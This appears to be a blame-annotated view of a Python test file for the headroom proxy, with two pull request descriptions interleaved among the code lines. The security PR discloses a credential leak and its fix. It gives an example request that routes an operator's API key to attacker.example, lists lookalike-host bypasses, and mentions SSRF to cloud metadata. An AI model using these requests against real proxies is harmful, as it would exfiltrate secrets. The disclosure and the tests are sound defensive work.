**this PR fixes the credential leak, not the routing.**
## Type of Change
- [x] Bug fix (non-breaking change that fixes an issue)
## Changes Made
- **`headroom/proxy/upstream_trust.py`** (new) — the policy. A secret
only travels to a host the operator designated: one of the resolved
provider API targets, or a host in `HEADROOM_UPSTREAM_ALLOWED_HOSTS`.
This is the rule `copilot_auth.is_copilot_upstream_url` already applies
to Headroom's own Copilot token, generalized.
- **`merge_extra_headers` now takes a required keyword-only
`upstream_url`.** This is the actual fix. An optional parameter would
have closed three call sites and left the tenth forwarder free to
reintroduce the bug; a required one means a forwarder *cannot merge a
secret without declaring where it goes*. All nine call sites updated —
the three client-controllable ones pass the resolved override, the six
config-derived ones pass `None`.
- Undesignated upstreams are **still proxied**, just without the secret,
and the refusal logs once per host (not per request) with the remedy in
the message.
- Docs updated in `configuration.mdx` and `pipeline-extensions.mdx`.
Matching is on the parsed hostname, never the URL string. Whole-string
comparison lets `https://api.anthropic.com@evil.example` through, and
makes a base URL match while base+path does not — that exact asymmetry
is how a gate ends up covering routing but not the credential attach.
Exact hostname equality, no wildcards.
## Testing
- [x] Unit tests pass (`pytest`)
- [x] Integration tests pass
- [x] Manual testing performed
### Test Output
```text
tests/test_upstream_credential_scoping.py 15 passed (new)
Regression sweep (-k "proxy or header or copilot or codex or anthropic or openai or upstream"):
3340 passed, 163 skipped, 1 failed in 164.56s
The single failure is tests/test_learn/test_integration.py::TestCodexIntegration::test_full_pipeline
("assert 'Bash' in {'exec', 'followup_task', ...}"). Verified pre-existing:
it fails identically on a clean origin/main worktree.
ruff check: All checks passed
ruff format --check: 7 files already formatted
mypy headroom/proxy/upstream_trust.py: Success, no issues found
```
## Real Behavior Proof
- Environment: macOS (darwin 25.4.0), Python 3.12.13, worktree off
`main`, `_core.abi3.so` copied in so the extension imports.
- Exact command / steps: built the exploit as an end-to-end test — a
`TestClient` app with `anthropic_extra_headers={"Api-Key":
"corp-gateway-secret"}` and a capturing transport, then `POST
/v1/messages` with `X-Headroom-Base-Url: https://attacker.example`,
asserting on the headers the transport actually received. **Then
disabled only the new gate (leaving the signature intact) to confirm the
test reproduces the original vulnerability.**
- Observed result: with the gate disabled the test fails with the secret
visibly on the wire —
```
AssertionError: assert 'api-key' not in {..., 'api-key':
'corp-gateway-secret', ...}
```
With the gate restored, 15/15 pass. The companion test asserts the
request still reached `attacker.example` and still carried the
*client's* own `x-api-key`, so the fix withholds the operator's
credential without breaking the routing feature or the client's auth.
Lookalike hosts (`api.anthropic.com@evil.example`,
`api.anthropic.com.evil.example`, scheme-less values, `://`) are covered
by parametrized cases.
- Not tested: no live upstream was contacted — all uses a capturing
`httpx` transport. The WebSocket forwarders (`openai.py:6606`,
`codex/live.py:131`) pass `upstream_url=None` because their destination
is config-derived; that classification is verified by reading the
callers (`_api_target(proxy, "openai")`,
`codex_responses_websocket_url()`), not by a test.
## Runtime Rollout Safety
- Rollout-managed feature(s): None.
- Minimum rollout channel: n/a
- Stable/default behavior changed: **Yes, deliberately.** If an operator
today configures `*_extra_headers` *and* routes via
`x-headroom-base-url` to a host that is not a configured provider
target, those headers stop being sent. That is the vulnerability, so the
change is the point — but it is a real behavior change for that setup,
which is why the log line names the host and the env var to fix it.
- Kill switch / disable path: `HEADROOM_UPSTREAM_ALLOWED_HOSTS=<host>`
restores delivery for a named host. There is deliberately no global
"off".
- Unsafe override required: No.
- Qualification impact: None.
- Rollback path: Revert the commit.
## Review Readiness
- [x] I have performed a self-review
- [x] This PR is ready for human review
## Additional Notes
Found during the same audit, **not fixed here** — each wants its own
change:
- **The plain SSRF remains by design.** With no `*_extra_headers`
configured, a client can still make the proxy issue an arbitrary request
to an arbitrary host (cloud metadata at `169.254.169.254`, internal
admin panels) and read the response. Closing that means either an opt-in
requirement for the header or private-IP blocking, and private-IP
blocking would break the common local-gateway setup (LiteLLM on
`127.0.0.1`). Worth a deliberate decision rather than a silent change
here.
- **CORS is the only thing keeping this off the web.**
`x-headroom-base-url` is a non-simple header so it forces a preflight,
and the default origin regex is loopback-only. Setting
`HEADROOM_CORS_ORIGINS=*` would make the above reachable from any web
page.
- The `/v1/*` data plane has no authentication for loopback callers even
when `HEADROOM_PROXY_TOKEN` is set (`server.py:3368` exempts loopback),
so "any local process" is the realistic attacker for all of the above.
Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
2026-08-18 22:27:25 -07:00
|
|
|
{"Authorization": "client", "keep": "v"},
|
|
|
|
|
{"authorization": "gateway"},
|
|
|
|
|
upstream_url=None,
|
fix(proxy): dedupe Codex WS request logging for accurate mixed-provider dashboards (#2189)
## Description
Running Claude Code (Anthropic) and Codex (OpenAI) against the **same**
Headroom proxy instance on one port produced incorrect, unstable
dashboard data. The proxy core is provider-isolated and
multi-provider-safe by design; the defect was in the observability
layer. The Codex `/v1/responses` **WebSocket** handler was the only path
in the proxy that wrote to the request logger by hand instead of through
the unified `emit_request_outcome` funnel, and it did so twice per
session close: the per-turn funnel record plus an unconditional
cumulative session-summary `RequestLog`. This PR removes the duplicate
summary log so Codex WS emits exactly one request log per turn, matching
the HTTP provider paths.
## Type of Change
- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)
## Changes Made
- Dropped the duplicate cumulative session-summary `RequestLog` in the
Codex WS handler while preserving the per-turn `emit_request_outcome`
path.
- Preserved gated `request_messages` and `turn_id` on residual outcomes
so dashboard telemetry keeps the useful attribution without
double-counting tokens.
- Ensured explicit `--anyllm-provider` wins over a leaked
`HEADROOM_ANYLLM_PROVIDER` environment variable.
- Registered retry delay settings that had drifted out of the settings
registry.
- Hardened tests against developer-shell `HEADROOM_*` /
`ANTHROPIC_CUSTOM_HEADERS` leakage and stabilized several focused
proxy/wrap test fixtures.
## Testing
- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [ ] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [x] Manual testing performed
### Test Output
```text
$ .venv/bin/pytest tests/ -q -p no:cacheprovider
8529 passed, 537 skipped, 5831 warnings in 276.25s (0:04:36)
$ .venv/bin/ruff check <touched files>
All checks passed!
```
## Real Behavior Proof
- Environment: macOS (Darwin 25.4.0), Python 3.13.14, pytest 9.0.3, ruff
via project venv, branch `fix/multi-provider-runtime`.
- Exact command / steps: Ran the full test suite without pytest cache
provider and Ruff on all touched files; used `git stash` to confirm the
stale fake-config failures pre-existed this change.
- Observed result: Full suite passed with no failures; Ruff passed;
Codex WS now routes end-of-session logging through
`emit_request_outcome`, emitting one request log per turn with the same
accounting model as Anthropic HTTP turns.
- Not tested: Live simultaneous Claude + Codex dashboard run. `mypy
headroom` was not run to completion; a scoped run reported one
pre-existing `settings_store.py:470` coercion error outside this diff.
## Review Readiness
- [x] I have performed a self-review
- [x] This PR is ready for human review
## Checklist
- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [ ] I have made corresponding changes to the documentation
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective or that my
feature works
- [x] New and existing unit tests pass locally with my changes
- [ ] I have updated the CHANGELOG.md if applicable
## Screenshots (if applicable)
N/A - server-side observability fix; no UI markup changed.
## Additional Notes
- The proxy's multi-provider routing, header/auth isolation, and
per-model cache keying are already correct and unchanged here; only the
WS observability write path was double-counting.
- Architectural assessment:
`plans/reports/research-260714-0004-multi-provider-upstream-compression-report.md`;
root-cause + resolution trail:
`plans/reports/debug-assessment-260714-0011-dashboard-instability-mixed-claude-codex-report.md`.
- No live simultaneous Claude + Codex dashboard run was performed;
validation is from test coverage and code review of the WS logging path.
---------
Co-authored-by: JerrettDavis <mxjerrett@gmail.com>
2026-07-16 01:18:34 +07:00
|
|
|
)
|
|
|
|
|
assert out == {"authorization": "gateway", "keep": "v"}
|
|
|
|
|
# Exactly one authorization header survives (no duplicate casings upstream).
|
|
|
|
|
assert [k for k in out if k.lower() == "authorization"] == ["authorization"]
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_merge_extra_headers_none_returns_same_object() -> None:
|
|
|
|
|
"""No configured extras -> caller's dict is returned unchanged (no copy)."""
|
|
|
|
|
headers = {"a": "b"}
|
fix(proxy): stop operator secrets following a client-chosen upstream (#3122)
## Description
`x-headroom-base-url` lets a client choose the upstream for a single
request — a deliberate, documented feature for routing to
OpenAI-compatible gateways. `*_extra_headers` is operator-configured,
marked `secret=True` in the settings store, and its own help text uses
an API key as the example value.
The two met in the wrong order:
```
openai.py:3127 headers = merge_extra_headers(headers, self.config.openai_extra_headers)
openai.py:3134 upstream_base_url = _resolve_openai_upstream_base(request.headers)
```
The secret was merged **before** the destination was resolved. So:
```
POST /v1/messages
X-Headroom-Base-Url: https://attacker.example
```
reached the attacker's host **carrying the operator's gateway key**. One
request, no user interaction, from anything able to reach the proxy port
— a malicious postinstall script, a compromised transitive dep, a second
agent session. Same shape on the Anthropic Messages route
(`anthropic.py:1091`) and on `/v1/responses` (`openai.py:5120`, whose
override resolves 300 lines later at `:5420`).
Without `*_extra_headers` configured the same primitive is still a plain
SSRF, but that is the pre-existing behavior of a documented feature;
**this PR fixes the credential leak, not the routing.**
## Type of Change
- [x] Bug fix (non-breaking change that fixes an issue)
## Changes Made
- **`headroom/proxy/upstream_trust.py`** (new) — the policy. A secret
only travels to a host the operator designated: one of the resolved
provider API targets, or a host in `HEADROOM_UPSTREAM_ALLOWED_HOSTS`.
This is the rule `copilot_auth.is_copilot_upstream_url` already applies
to Headroom's own Copilot token, generalized.
- **`merge_extra_headers` now takes a required keyword-only
`upstream_url`.** This is the actual fix. An optional parameter would
have closed three call sites and left the tenth forwarder free to
reintroduce the bug; a required one means a forwarder *cannot merge a
secret without declaring where it goes*. All nine call sites updated —
the three client-controllable ones pass the resolved override, the six
config-derived ones pass `None`.
- Undesignated upstreams are **still proxied**, just without the secret,
and the refusal logs once per host (not per request) with the remedy in
the message.
- Docs updated in `configuration.mdx` and `pipeline-extensions.mdx`.
Matching is on the parsed hostname, never the URL string. Whole-string
comparison lets `https://api.anthropic.com@evil.example` through, and
makes a base URL match while base+path does not — that exact asymmetry
is how a gate ends up covering routing but not the credential attach.
Exact hostname equality, no wildcards.
## Testing
- [x] Unit tests pass (`pytest`)
- [x] Integration tests pass
- [x] Manual testing performed
### Test Output
```text
tests/test_upstream_credential_scoping.py 15 passed (new)
Regression sweep (-k "proxy or header or copilot or codex or anthropic or openai or upstream"):
3340 passed, 163 skipped, 1 failed in 164.56s
The single failure is tests/test_learn/test_integration.py::TestCodexIntegration::test_full_pipeline
("assert 'Bash' in {'exec', 'followup_task', ...}"). Verified pre-existing:
it fails identically on a clean origin/main worktree.
ruff check: All checks passed
ruff format --check: 7 files already formatted
mypy headroom/proxy/upstream_trust.py: Success, no issues found
```
## Real Behavior Proof
- Environment: macOS (darwin 25.4.0), Python 3.12.13, worktree off
`main`, `_core.abi3.so` copied in so the extension imports.
- Exact command / steps: built the exploit as an end-to-end test — a
`TestClient` app with `anthropic_extra_headers={"Api-Key":
"corp-gateway-secret"}` and a capturing transport, then `POST
/v1/messages` with `X-Headroom-Base-Url: https://attacker.example`,
asserting on the headers the transport actually received. **Then
disabled only the new gate (leaving the signature intact) to confirm the
test reproduces the original vulnerability.**
- Observed result: with the gate disabled the test fails with the secret
visibly on the wire —
```
AssertionError: assert 'api-key' not in {..., 'api-key':
'corp-gateway-secret', ...}
```
With the gate restored, 15/15 pass. The companion test asserts the
request still reached `attacker.example` and still carried the
*client's* own `x-api-key`, so the fix withholds the operator's
credential without breaking the routing feature or the client's auth.
Lookalike hosts (`api.anthropic.com@evil.example`,
`api.anthropic.com.evil.example`, scheme-less values, `://`) are covered
by parametrized cases.
- Not tested: no live upstream was contacted — all uses a capturing
`httpx` transport. The WebSocket forwarders (`openai.py:6606`,
`codex/live.py:131`) pass `upstream_url=None` because their destination
is config-derived; that classification is verified by reading the
callers (`_api_target(proxy, "openai")`,
`codex_responses_websocket_url()`), not by a test.
## Runtime Rollout Safety
- Rollout-managed feature(s): None.
- Minimum rollout channel: n/a
- Stable/default behavior changed: **Yes, deliberately.** If an operator
today configures `*_extra_headers` *and* routes via
`x-headroom-base-url` to a host that is not a configured provider
target, those headers stop being sent. That is the vulnerability, so the
change is the point — but it is a real behavior change for that setup,
which is why the log line names the host and the env var to fix it.
- Kill switch / disable path: `HEADROOM_UPSTREAM_ALLOWED_HOSTS=<host>`
restores delivery for a named host. There is deliberately no global
"off".
- Unsafe override required: No.
- Qualification impact: None.
- Rollback path: Revert the commit.
## Review Readiness
- [x] I have performed a self-review
- [x] This PR is ready for human review
## Additional Notes
Found during the same audit, **not fixed here** — each wants its own
change:
- **The plain SSRF remains by design.** With no `*_extra_headers`
configured, a client can still make the proxy issue an arbitrary request
to an arbitrary host (cloud metadata at `169.254.169.254`, internal
admin panels) and read the response. Closing that means either an opt-in
requirement for the header or private-IP blocking, and private-IP
blocking would break the common local-gateway setup (LiteLLM on
`127.0.0.1`). Worth a deliberate decision rather than a silent change
here.
- **CORS is the only thing keeping this off the web.**
`x-headroom-base-url` is a non-simple header so it forces a preflight,
and the default origin regex is loopback-only. Setting
`HEADROOM_CORS_ORIGINS=*` would make the above reachable from any web
page.
- The `/v1/*` data plane has no authentication for loopback callers even
when `HEADROOM_PROXY_TOKEN` is set (`server.py:3368` exempts loopback),
so "any local process" is the realistic attacker for all of the above.
Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
2026-08-18 22:27:25 -07:00
|
|
|
assert merge_extra_headers(headers, None, upstream_url=None) is headers
|